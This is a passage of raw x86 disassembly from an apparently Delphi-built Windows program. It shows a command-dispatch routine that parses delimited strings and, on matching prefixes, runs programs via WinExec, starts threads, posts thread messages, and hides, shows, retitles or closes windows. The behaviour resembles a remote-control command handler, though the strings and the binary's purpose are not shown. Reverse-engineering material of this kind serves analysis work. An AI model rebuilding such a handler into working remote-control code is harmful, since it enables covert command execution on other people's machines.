lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea ecx, [ebp - 0x424]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00484140
push dword [ebp - 0x424]
push 0x49b8bc
lea ecx, [ebp - 0x428]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00484200
push dword [ebp - 0x428]
lea eax, [ebp - 0x420]
mov edx, 3
call fcn.00405800
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x42c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x42c]
mov edx, 0x49bfd4
call fcn.00405894
jne 0x496736
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49bfe4
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49bfe4
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0048be60
lea eax, [ebp - 0x430]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x430]
mov edx, 0x49bff0
call fcn.00405894
jne 0x4967c1
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x49677f
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x434]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x434]
push eax
lea eax, [ebp - 0x438]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x438]
pop edx
call fcn.0048bfc8
lea eax, [ebp - 0x43c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x43c]
mov edx, 0x49c000
call fcn.00405894
jne 0x49684c
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x49680a
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x440]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x440]
push eax
lea eax, [ebp - 0x444]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x444]
pop edx
call fcn.0048bce0
lea eax, [ebp - 0x448]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x448]
mov edx, 0x49c010
call fcn.00405894
jne 0x496956
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004847ac
lea eax, [ebp - 0x44c]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x44c]
mov edx, 0x49c020
call fcn.00405894
jne 0x496a60
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004845e0
lea eax, [ebp - 0x450]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x450]
mov edx, 0x49c034
call fcn.00405894
jne 0x496b6a
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004846c8
lea eax, [ebp - 0x454]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x454]
mov edx, 0x49c050
call fcn.00405894
jne 0x496d7a
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4f24]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4f74]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4d40]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4bdc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00405504
mov eax, dword [ebp - 0xc]
mov edx, 0x49c060
call fcn.00405894
jne 0x496d27
mov eax, dword [0x4a4bd4]
cmp dword [eax], 0
je 0x496d7a
mov eax, dword [0x4a4bdc]
mov eax, dword [eax]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0
je 0x496d02
mov eax, dword [ebp - 0x1e4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1e4], eax
mov eax, dword [0x4a4bdc]
mov eax, dword [eax]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0x1e4]
push eax
push 6
mov eax, dword [0x4a4bd4]
mov eax, dword [eax]
push eax
call sub.user32.dll_PostThreadMessageW
jmp 0x496d7a
mov eax, dword [ebp - 0xc]
mov edx, 0x49c070
call fcn.00405894
jne 0x496d7a
mov eax, dword [0x4a4bd4]
cmp dword [eax], 0
jne 0x496d7a
mov eax, dword [0x4a4c00]
push eax
push 0
push 0
push 0x492e94
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, dword [0x4a4bd4]
push eax
push 0
push 0
push 0x492b78
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, 0x49c080
call fcn.004938a4
mov eax, dword [ebp - 8]
mov edx, 0x49c094
call fcn.00405894
jne 0x496dbb
mov eax, dword [0x4a4bd4]
cmp dword [eax], 0
je 0x496dbb
lea eax, [ebp - 0x458]
mov edx, 0x49c0a0
call fcn.00405664
mov eax, dword [ebp - 0x458]
push eax
push 4
push 6
mov eax, dword [0x4a4bd4]
mov eax, dword [eax]
push eax
call sub.user32.dll_PostThreadMessageW
lea eax, [ebp - 0x45c]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x45c]
mov edx, 0x49c0b0
call fcn.00405894
jne 0x496f29
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.00405504
mov eax, dword [ebp - 0x18]
mov edx, 0x49b93c
call fcn.00405894
jne 0x496f0b
push ebp
lea eax, [ebp - 0x460]
call fcn.00483d44
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x464]
call fcn.00483f70
mov edx, dword [ebp - 0x464]
pop eax
call fcn.00405738
mov eax, dword [ebp - 0x460]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
jmp 0x496f29
push ebp
lea eax, [ebp - 0x468]
call fcn.00483d44
mov eax, dword [ebp - 0x468]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x46c]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x46c]
mov edx, 0x49c0c4
call fcn.00405894
jne 0x496f7a
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.004059a4
push 0
push 0
push 0x10
mov eax, dword [ebp - 8]
call fcn.00409dd8
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x470]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x470]
mov edx, 0x49c0d4
call fcn.00405894
jne 0x496fc7
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
push 3
mov eax, dword [ebp - 8]
call fcn.00409dd8
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x474]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x474]
mov edx, 0x49c0e8
call fcn.00405894
jne 0x497014
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
push 6
mov eax, dword [ebp - 8]
call fcn.00409dd8
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x478]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x478]
mov edx, 0x49c0fc
call fcn.00405894
jne 0x497061
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
push 0
mov eax, dword [ebp - 8]
call fcn.00409dd8
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x47c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x47c]
mov edx, 0x49c10c
call fcn.00405894
jne 0x4970ae
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
push 5
mov eax, dword [ebp - 8]
call fcn.00409dd8
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x480]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x480]
mov edx, 0x49c11c
call fcn.00405894
jne 0x49714a
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
mov eax, dword [ebp - 0x10]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0xc]
call fcn.00409dd8
push eax
call sub.user32.dll_SetWindowTextA
lea eax, [ebp - 0x484]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x484]
mov edx, 0x49c138
call fcn.00405894
jne 0x49722e
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea eax, [ebp - 0x488]
call fcn.0048dc84
mov eax, dword [ebp - 0x488]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x48c]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x48c]
mov edx, 0x49c14c
call fcn.00405894
jne 0x497273
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.0048df30
lea eax, [ebp - 0x490]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x490]
mov edx, 0x49c160
call fcn.00405894
jne 0x497303
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0048dfe4
lea eax, [ebp - 0x494]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x494]
mov edx, 0x49c174
call fcn.00405894
jne 0x497350
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.004059a4
push 5
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x498]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x498]
mov edx, 0x49c18c
call fcn.00405894
jne 0x497434
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea eax, [ebp - 0x49c]
call fcn.00422280
mov eax, dword [ebp - 0x49c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x4a0]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x4a0]
mov edx, 0x49c1a0
call fcn.00405894
jne 0x49748a
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x4a4]
call fcn.0048b764
mov eax, dword [ebp - 0x4a4]
mov edx, dword [ebp - 8]
call fcn.0048babc
lea eax, [ebp - 0x4a8]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x4a8]
mov edx, 0x49c1b8
call fcn.00405894
jne 0x4974e0
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x4ac]
call fcn.0048b764
mov eax, dword [ebp - 0x4ac]
mov edx, dword [ebp - 8]
call fcn.0048b9f4
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x4b0]
mov edx, 0x49c1d0
call fcn.00405894
jne 0x497525
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.004221f0
lea eax, [ebp - 0x4b4]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x4b4]
mov edx, 0x49c1e8
call fcn.00405894
jne 0x49761f
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
mov eax, dword [ebp - 0x14]
call fcn.004058fc
mov edx, eax
lea eax, [ebp - 0x4b8]
call fcn.00405664
mov eax, dword [ebp - 0x4b8]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004058fc
pop edx
pop ecx
call fcn.00422490
lea eax, [ebp - 0x4bc]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x4bc]
mov edx, 0x49c200
call fcn.00405894
jne 0x497703
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea eax, [ebp - 0x4c0]
call fcn.0048316c
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x4c4]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x4c4]
mov edx, 0x49c218
call fcn.00405894
jne 0x4977ed
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.00405504
lea eax, [ebp - 0x14]
mov ecx, 5
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
push 0x49c22c
push dword [ebp - 0x14]
push 0x49c22c
lea eax, [ebp - 0x4c8]
mov edx, 3
call fcn.00405800
mov edx, dword [ebp - 0x4c8]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00483938
mov eax, dword [ebp - 8]
mov edx, 0x49c238
call fcn.00405894
jne 0x497801
call fcn.00483a14
lea eax, [ebp - 0x4cc]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x4cc]
mov edx, 0x49c250
call fcn.00405894
jne 0x4978db
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x49c264
mov eax, dword [ebp - 0x14]
call fcn.00485e8c
mov eax, dword [ebp - 8]
mov edx, 0x49c270
call fcn.00405894
jne 0x49792f
xor eax, eax
push ebp
push 0x497925
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
lea edx, [ebp - 0x4d0]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x4d0]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040704c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49792f
mov eax, dword [ebp - 8]
mov edx, 0x49c284
call fcn.00405894
jne 0x497983
xor eax, eax
push ebp
push 0x497979
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xa
lea edx, [ebp - 0x4d4]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x4d4]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040704c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x497983
mov eax, dword [ebp - 8]
